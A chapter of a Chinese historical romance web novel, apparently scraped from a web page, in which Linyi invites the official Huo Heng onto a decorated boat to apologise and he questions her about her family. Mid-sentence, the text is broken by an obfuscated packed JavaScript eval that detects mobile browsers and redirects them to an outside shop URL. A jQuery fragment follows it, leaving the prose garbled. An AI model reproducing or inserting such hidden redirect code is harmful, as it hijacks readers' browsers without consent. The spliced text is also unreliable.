袁伯明白惏依的打算了,“小姐想用水晶眼罩来让霍公子出面?”
但是,“这样不会暴露小姐的身份吗?”
惏依说:“他本就有猜想,而且想要接近他总是得让他以为自己知道些什么。”
京城刑部衙门,亥初时分,门口的皂隶已经换了一波,衙门深处的印房里却还有亮光,屋子内只有靠窗的桌上油灯附近的区域有亮光,但此时这亮光也已经变得微弱,霍珩坐在书案前手里拿着一本写着密密麻麻律文的书籍,他的右手边放着一叠纸张,上面的墨迹还都新鲜可见。
报时的梆子声已经响了一会儿了,霍珩才揉揉眉心站起身来,把书和纸张收到靠墙边的架阁上面。
门房里的皂隶靠着桌子在打盹,听到远处传来的脚步声一激灵睁开眼,注意到不远处有人走近,赶紧提着灯笼凑过去,“爷,您这时候才忙完?”
霍珩脸上满是疲惫,闻言只淡淡嗯了一声。
石狮子后面的松柏等的都睡着了,听到门开的声音连忙看过去,惊喜道,“终于等到人了。”
眼看着霍珩朝门口的马车走过去,松柏赶紧起身,“霍公子,霍公子等等。”
霍珩停下脚步转身,松柏连忙跑到他跟前,“霍公子,我家小姐给你递信了。”
霍珩看着松柏递上来的信,看一眼后不理会,“不是说让她自己来找我吗?”
松柏,“霍公子你要不就看一下吧,你这次不收下我家小姐要伤心了。”
霍珩嗤笑,“林惏依她为谁都会伤心的。”
松柏已经递信几次了,霍珩都不接,这次不知道他什么想法松柏有些紧张的看着他。
“算了,我收下了,你快回去吧。”他都拒绝几次了,她还真的是锲而不舍的继续送。
松柏高兴的声调都高了起来,“公子可一定要看,我家小姐可为您安排了好戏呢。”
马车在路上晃悠悠的走着,霍珩摸着这一尺信封里面并不平整,里面塞的似乎有信件以外的东西,霍珩把它打开抽出来,是被叠成巴掌大小的手帕。
这出乎他的意料,盯着这个手帕,他想不出来她这次是什么理由送的,霍珩把它攥在手里,平复了一下情绪。
回到府里以后,霍珩把房门关上,便掏出里面的信,看惏依说了些什么。
信上却只有简短的时间和地点。
到了约定的那一天,惏依已经提前在附近的江面上包下了一艘船,翠香和松柏帮着在船上布置了些花束,上面还有一架古琴放在船上。
远远看去,这一艘花船便格外引人注目,这是惏依好不容易在京城找的地方,这是江海的其中一部分,只是这周围被一圈青山环绕,便形成了一个天然的类似湖泊的地方,实际上它与宽阔的江面还是一体的,青山的缝隙之间便能看到江面。
翠香和松柏站在江边,松柏看着那一艘被装点胡哨的船只,有些纳闷,“我们小姐这赔罪是不是太大阵仗了,专门找的这个地方,有包船,还有弹曲的。”
翠香随意的说着,“霍公子毕竟也算是救了我们小姐的命,救命之恩,多费些心也是应该的。”
松柏看看附近,凑近了翠香说,“你说我们小姐不会是想用美人计吧,这美人美酒美景在身边,哪个公子不心动啊。”
翠香瞪了松柏一眼,“别胡说。”
离约定的时间越来越近了,惏依收拾好了,专门有一个车夫赶着马车把她送到这里,她下车后来到江边,“翠香,松柏。”
翠香,“小姐,你弄好了?”
惏依穿着一身水粉色的薄纱襦裙,外面还有一层烟罗纱,裙摆宽大,走起来便一摆一摆的,腰间的白玉坠子与头上的白玉簪相互呼应,搭配着蝴蝶发髻整个人看起来清甜灵动。
两人齐齐转身看向惏依时,被惊艳了一下又对视了一眼,翠香小声对松柏说,“我收回刚才的话。”
翠香先一步到惏依身边,拉着她的袖子,上上下下反复的看,“小姐,我还没见过你穿这种粉色的衣服呢,可真好看,”有一种娇媚天成的感觉。
惏依娇嗔她一下,“好了,我先去船上,霍珩来了,就让他坐小船上船。”
霍珩坐着马车,车夫赶了好一会儿车才到了这附近,“公子,是这里吗?”他还从来不知道有这么个地方,附近都没什么人他都以为是走错了。
不等两人疑惑,在附近蹲守的松柏看见霍珩到了赶忙上前,“霍公子。”
霍珩对车夫,“你就在这里等着。”
霍珩下了车后,松柏带着他从小道穿过去,走了不一会儿便见到宽阔的湖面,霍珩诧异这里竟还有一处小湖泊,湖泊上只有一艘孤零零的船,他还没走近,悠悠的琴声便响了起来。
霍珩没看见惏依人,“你家小姐呢?”
“船上弹琴的就是我家小姐,”松柏指着小船,“霍公子,我家小姐已经等你很久了,我们坐这艘小船过去吧。”
霍珩看看天色,想着惏依约的不就是这个时辰吗,她来的很早嘛,不容多想,他便被松柏带到了一艘船上,松柏划着船,霍珩才观察这个地方,原来这不是湖面,严谨的说应该是江面,周围群山环绕着,如果附近种满桃花树,这边可以称得上一句世外桃源了。
松柏划着船很快便到了惏依坐着的船只附近,船内一个蒙着面纱的粉衣女子坐着弹着琴,远看船只小小的,近看才发现这个船体的庞大,船舱里面摆了一套桌椅以外,还有人能躺下的空间。
“霍公子,请上船吧。”
霍珩移到另一艘船上后,船只只轻轻摇晃一下,惏依只专心的弹着琴并没有看霍珩一眼。
霍珩便在船尾坐着,也不看她,拿起桌上酒杯便自顾自喝了起来,一曲弹罢,他从腰间掏出一条帕子,放在桌上,看向惏依,“惏依姑娘,这次给我帕子又是什么用意。”
惏依一只手抚琴,随意弹了几下琴弦,“证明是我写的信罢了,公子不必多想。”
随后另一只手也放在琴上,“此次是为上次的事向公子赔罪,听松柏说你最近刚当了官公务繁忙,不如就让我为你弹曲解解乏,公子随意看看风景便可。”
霍
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17607884|205784||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
珩看着她身前的琴,“惏依小姐有心了。”
惏依便弹起了曲子,琴音悠扬,在这山谷之间还有回音,霍珩干脆躺在船上闭目养神。
惏依弹琴的间隙看看霍珩,发现他躺着倒是自在。
可是惏依还有别的话说,对方如她所愿她却又不高兴了,她看着霍珩故意弹错了一个音,对方却没有反应
她弹完这一首便没有再弹了,霍珩便坐着斜倚在船边,“惏依姑娘有话就说。”
惏依挂起温婉的笑,向霍珩道歉,“上次是权宜之计,没想到却让霍公子伤心了,主动邀约也不肯来,但其实惏依心中始终感激霍公子的恩情,希望霍公子对上次的事不要放在心上。”
霍珩却抬眼望向惏依看了许久,看的惏依两手都不自觉的绞着袖边,看看船外才对上他的目光,“怎么了?”
霍珩晃晃酒杯,直白道,“惏依小姐有什么直接说就行了,不用,”霍珩环视了一下这只船只,“费这么大心思。”
“惏依只是觉得公子是个好人,才想好好向公子赔罪解释,不想公子误会我。”
话音刚落,霍珩接着便问,“误会你什么?”
惏依顿了一下,“误会惏依表面一套背后一套,是个表里不一的人。”
霍珩看向惏依,“你难道不是吗?”
“公子就是这样想我的?”惏依语气有些受伤。
霍珩却不答了,他起身,却坐到惏依身边,两人的距离一下子拉近,惏依呼吸一滞,看着霍珩,不知道他想做什么。
下一刻,她脸上的面纱被扯下,惏依有些惊慌的脸出现在霍珩面前。
“你和江州林家有什么关系?”
林惏依愣了一下,“公子难道是说江州那个因为盗粮被抄家的林家,我虽也姓林,但与这个林家并没有什么关系。”
霍珩继续追问,“那你和醉仙楼的袁伯呢?”
惏依还是看着他,“袁伯已故的夫人和我母亲是姐妹,我母亲不放心我一个人入京城,托他照顾我的。”
她顿了一下又说,“松柏是我母亲身边的,不便入刘府,就跟着袁伯了。”
霍珩不说话了。
惏依,“公子还有想问的吗?”
霍珩收回放在惏依身上的视线,转了话题,“小姐不要再给我些女儿家的东西了,放在我这也没什么用,被旁人看到了又让人误解。”
惏依看着桌上的帕子,“不过是一个物件而已,我一个女子都不怕被误解,公子却怕?”
霍珩垂眸,“对你的名声不好,你不是来京城是为了求亲的吗?”
“男未婚女未嫁,难道是公子觉得和我被一起议论不高兴?”
霍珩无奈的看了一眼惏依,再次转了话题,“不要叫我公子了,叫我霍珩吧。”
惏依起身倒酒,递给霍珩一杯,“你既然当官了,不如就叫你霍大人怎么样。”
霍珩这才注意到惏依的衣裙,对比上次见高崇时的魅惑妖娆,这次却是娇俏可人,他想着便看向了船外。
“随你吧。”